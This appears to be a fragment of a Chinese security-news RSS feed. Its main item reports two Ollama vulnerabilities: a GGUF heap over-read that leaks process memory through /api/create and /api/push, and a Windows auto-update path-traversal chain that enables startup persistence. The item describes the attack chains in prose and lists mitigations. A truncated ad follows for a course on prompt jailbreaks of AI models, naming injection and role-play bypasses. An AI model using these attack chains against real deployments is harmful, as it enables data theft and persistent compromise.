style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-291167.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1b7f3562&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614849%26idx%3D1%26sn%3Dfe3114822b287b4d43b6eb503c2682ca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>Ollama惊曝高危漏洞：远程即可窃取全部进程内存，Windows版后门风险更高</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614849&amp;idx=2&amp;sn=de29a1fa63bf7c372893b84f4aae2906</link>
      <description>窃取密钥与对话，并植入持久化木马</description>
      <content:encoded><![CDATA[<p><span>看雪学苑</span> <span>2026-05-11 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dac75bbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0aCgXuhNyXGWhJukQv276oYnGLaywbbBzSiasiaXnN2dqLGQCR1tJuCs8fibZTucJQrsgTG4RP0w9QsOwaj0RYOz9zcpJYTZWaJA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>窃取密钥与对话，并植入持久化木马</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-mpa-action-id="mp0z1a4r76c" data-pm-slice="0 0 []"><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">知名本地大模型运行框架</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);font-weight: bold;"> Ollama</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);"> 近日被披露一个严重安全漏洞，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);">攻击者只需上传一个精心构造的模型文件，就能远程读取服务器进程内存中的敏感信息，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">包括环境变量、API 密钥以及同一进程内其他用户的对话数据。该漏洞在 CVSS 3.1 中评分高达 9.1，影响全球超过 30 万个暴露在公网的实例。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;border-left: 4px solid rgb(28, 144, 227);border-bottom-left-radius: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="margin: 0px 0%;isolation: isolate;justify-content: flex-start;transform: translate3d(5px, 0px, 0px);-webkit-transform: translate3d(5px, 0px, 0px);-moz-transform: translate3d(5px, 0px, 0px);-o-transform: translate3d(5px, 0px, 0px);display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(28, 144, 227);min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 12px 20px;align-self: flex-start;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">一个恶意 GGUF 文件就能打开内存之窗</span></strong></p></div></div></div></div></div></div></div><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">漏洞编号 CVE-2026-7482，被 Cyera 研究团队命名为“Bleeding Llama”。它属于典型的堆越界读取（CWE-125），问题出在 Ollama 加载 GGUF 格式模型并执行量化操作的过程中。GGUF 是当前本地运行大模型的主流文件格式，它的元数据会声明模型中各张量的偏移量和大小。</span></span></p><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">当攻击者通过 `/api/create` 接口提交一个“说谎”的 GGUF 文件——声明的张量区域远大于文件实际长度——由于底层代码在处理时未做充分的边界校验，程序就会越过分配好的堆缓冲区继续读取，从而把紧邻内存中的其他数据一同“看”了进去。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4648148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131197" src="https://wechat2rss.xlab.app/img-proxy/?k=acd7b027&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2Ykru249T4pV786ENFNAgyQJu1o0Gpo1icia0buh3juVic6xXTwGYwhx7vena0EgIf4XQ5zYZmdEOPmoutZNwFfEKFlxzPmxYXrc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">这些额外读到的内容，可能恰好包含 Ollama 进程运行时留在堆中的环境变量、API 密钥、系统提示词，甚至是同一服务器上其他用户正在进行的大模型会话记录。一旦数据被读入模型构建后的产物中，攻击者再通过 `/api/push` 接口把带毒模型制品推送到自己控制的注册表，就能完成一次静默的数据窃取。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;border-left: 4px solid rgb(28, 144, 227);border-bottom-left-radius: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="margin: 0px 0%;isolation: isolate;justify-content: flex-start;transform: translate3d(5px, 0px, 0px);-webkit-transform: translate3d(5px, 0px, 0px);-moz-transform: translate3d(5px, 0px, 0px);-o-transform: translate3d(5px, 0px, 0px);display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(28, 144, 227);min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 12px 20px;align-self: flex-start;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">默认监听配置决定生死</span></strong></p></div></div></div></div></div></div></div><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);">漏洞的利用门槛极低。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Ollama 的 REST API 默认不提供任何身份认证，而 `/api/create` 与 `/api/push` 正是其中两个直接被用来完成攻击链的关键端点。如果 Ollama 保持默认的 `127.0.0.1`（仅本机）监听，远程攻击便无从下手。但许多用户为了方便远程调用，将服务绑定到 `0.0.0.0`，并配合公网 IP 直接暴露，此时攻击者仅需一条 HTTP POST 请求即可投递恶意文件，随后的越界读和数据外传都在正常 API 调用层面完成，隐蔽性极高。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;border-left: 4px solid rgb(28, 144, 227);border-bottom-left-radius: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="margin: 0px 0%;isolation: isolate;justify-content: flex-start;transform: translate3d(5px, 0px, 0px);-webkit-transform: translate3d(5px, 0px, 0px);-moz-transform: translate3d(5px, 0px, 0px);-o-transform: translate3d(5px, 0px, 0px);display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(28, 144, 227);min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 12px 20px;align-self: flex-start;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">更危险的“后门”：Windows 客户端可被持久植入</span></strong></p></div></div></div></div></div></div></div><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">几乎是同一时间，安全公司 Striga 公布了另一组针对 Ollama Windows 桌面客户端的漏洞，目前尚未修补。这组漏洞由路径遍历（CVE-2026-42249）和更新签名校验缺失（CVE-2026-42248）串联而成，影响从 0.12.10 到 0.22.0 的几乎所有 Windows 版本。</span></span></p><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Ollama Windows 客户端在用户登录时自动从启动文件夹启动，默认勾选自动更新，并在本地 `127.0.0.1:11434` 监听。更新过程会周期性询问更新服务器，却不会验证下载的更新二进制文件是否带有合法签名（macOS 版却有签名校验）。同时，更新器在创建本地暂存目录时，直接使用 HTTP 响应头中的路径字段，未做任何清理，导致目录可以被“..”等字符重定向到任意位置。</span></span></p><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">将这两点与自动启停机制结合，中间人攻击者或控制了更新服务器的攻击者就能在用户登录时将一个恶意可执行文件直接写入系统的“启动”文件夹。下次启动时，Windows 便会默默执行该文件，实现持久化代码执行。即便官方推送了合法更新，覆盖了被篡改的文件，路径遍历漏洞仍能让攻击者将恶意代码写在非标准目录，从而逃过清理。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;border-left: 4px solid rgb(28, 144, 227);border-bottom-left-radius: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="margin: 0px 0%;isolation: isolate;justify-content: flex-start;transform: translate3d(5px, 0px, 0px);-webkit-transform: translate3d(5px, 0px, 0px);-moz-transform: translate3d(5px, 0px, 0px);-o-transform: translate3d(5px, 0px, 0px);display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(28, 144, 227);min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 12px 20px;align-self: flex-start;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">该做什么？</span></strong></p></div></div></div></div></div></div></div><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">对于 CVE-2026-7482，所有 Ollama 用户都应</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);">立即升级到 0.17.1 及以上版本。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">同时，必须收紧网络暴露面：务必为 Ollama 实例部署反向代理并启用强身份认证，禁止 API 端口直接暴露在公网；云环境中通过安全组或防火墙严格限制来源 IP。若曾将 Ollama 暴露在不受信任的网络中运行，应尽快轮换使用过的 API 密钥、访问凭据，并评估潜在的数据泄露范围。</span></span></p><p><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">对于 Windows 客户端漏洞，鉴于官方补丁尚未发布，最直接的缓解措施是</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 128, 255);">关闭自动更新，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">并手动删除位于</span><span textstyle="" style="letter-spacing: normal;color: rgb(63, 63, 63);font-style: italic;">`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` </span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">中的 Ollama 快捷方式，阻断其登录后静默自启的路径。</span></span></p><p><span leaf=""><span textstyle="" style="letter-spacing: normal;color: rgb(136, 136, 136);font-style: italic;">资讯来源：The Hacker News、Cyera、Striga、CERT Polska 等</span></span></p><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131106" src="https://wechat2rss.xlab.app/img-proxy/?k=0cf04634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2RCk7yThhBLIUbH4q3aQt0B7qaZQkicdSfE4CfxEU9spnPh2WVagN2sZH7H77mPE6EcsbzvChL8610PTSQAFtJKKxhKZeicH3mU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131109" src="https://wechat2rss.xlab.app/img-proxy/?k=b4723bd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1O50IPHAz4bKm06ibfvA4wmOmibOHrvhmAIwOBN1W97HSMPk1rcPEibTdqbWXgubYRr8B8rVnM1ARrEUv0vn1RS3iaPbNT2fmRAhY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131108" src="https://wechat2rss.xlab.app/img-proxy/?k=21612377&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K0Cps1c7qg7gpgeqaGRol1dhVRz6RFF87c9N2oNOeBdSHn1icsag8yMFObqq2icPxjDmKIMI5UAg1wqYm930jGhW61eC8icDx7mJU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131110" src="https://wechat2rss.xlab.app/img-proxy/?k=307f6f36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1zF1YEc6txpLjFfuXCrGHs8EW9WGfdTPtLlH4lZibQOqibfan5cN4hRmicz9xHic5JYMMibF1QgfWIQXAgpytHhDf4zN5ha5CDicE1c%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;background-color: transparent;" data-imgfileid="311131107" src="https://wechat2rss.xlab.app/img-proxy/?k=91d2f291&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1IlDqaB0eazSXF5FsjGCSjFntddgiaevxcBXQxiaZ75KkPiauZia7dIon08S0m6nf17gOZbn3cQky9fBiahS1ReiaOU5fV5IeprEtCU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=56ee03d6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614849%26idx%3D2%26sn%3Dde29a1fa63bf7c372893b84f4aae2906">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>你的大模型应用，真的安全上线了吗？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614849&amp;idx=3&amp;sn=73a6c0476434988ac8b288a8d04e1554</link>
      <description>告别零散技巧，学透提示词越狱全链路攻防</description>
      <content:encoded><![CDATA[<p><span>看雪课程</span> <span>2026-05-11 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fb01998f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K14IzZCkbIwibbt0BthMBmlkTKSnm8I8BAeDshQNcRBicfkQQPF5A6qUBYYTSWqcZGeOQ58K8EF1eaM0Rv8HibMzl3hbcIaaMQribQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>告别零散技巧，学透提示词越狱全链路攻防</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px -10px;box-sizing: border-box;"><div data-cacheurl="" data-remoteid="" style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: repeat;background-attachment: scroll;min-width: 5%;max-width: 100%;height: auto;padding: 7px 20px;border-style: solid;border-width: 1px;border-color: rgb(156, 202, 199);border-radius: 9px;overflow: hidden;box-sizing: border-box;background-size: 10.0567% !important;background-position: 0% 0% !important;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=48570d42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2LF31AUGsOfLRSQYshJ4hn3UdERagHtm6ZzQtEveeVK1thSibuSrXnichECDibM2Tet5IT5bpudWLfdbqz8GMum2kb0U8xhgiaNNo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><div style="text-align: center;box-sizing: border-box;"><div style="color: rgb(0, 103, 96);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">提示词越狱系统指南：从原理到防御实践</span></strong></p></div></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgba(228, 247, 250, 0.44);padding: 6px 18px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 13px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-color: rgb(156, 202, 199);height: auto;margin: 0px;padding: 0px 14px;box-sizing: border-box;"><div style="margin: 0px 0px 10px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(77, 77, 77);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf="">大模型安全攻防，已是AI赛道薪资涨幅最快的方向。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf="">但90%的人还在零散学习、被动防御？</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf="">CVE专家亲授，体系化掌握提示词越狱与防御</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 2em;"><span leaf="">首发特惠1499元，永久有效！</span></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p><span leaf="" style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;font-style: normal;font-weight: 400;text-align: justify;color: rgb(0, 103, 96);box-sizing: border-box;"><span textstyle="" style="font-weight: bold;">你的AI模型，可能正在被“提示词越狱”悄然攻击。</span></span></p><p><span leaf="">而你，还在用传统安全思路手动堵漏。</span></p><p><span leaf="">这不是危言耸听。</span></p><p><span leaf="">从ChatGPT到企业私有化大模型，提示词注入、越狱攻击、角色扮演绕过……攻击手段几乎每周都在翻新。</span></p><p><span leaf="">但绝大多数AI安全工程师、大模型开发者的应对方式仍然是：</span></p><ul 